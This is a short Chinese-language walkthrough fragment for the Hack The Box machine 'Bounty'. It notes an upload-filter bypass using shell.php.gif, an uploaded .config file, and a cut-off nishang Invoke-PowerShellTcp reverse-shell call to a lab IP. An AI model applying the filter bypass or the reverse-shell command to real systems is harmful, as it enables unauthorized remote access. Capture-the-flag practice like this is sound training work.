Hack the box靶機 Bounty

兩個頁面都是沒有權限不能訪問 但是也沒有掃出來登錄頁面 投個圖 他們換了本字典 我懶得掃了 有過濾 上傳了一個shell.php.gif繞過了 找到一篇博客 上傳.config 使用nishang的Invoke-PowerShellTcp.ps1的時候 需要在這個文件末尾加入調用 Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4

>>阅读原文<<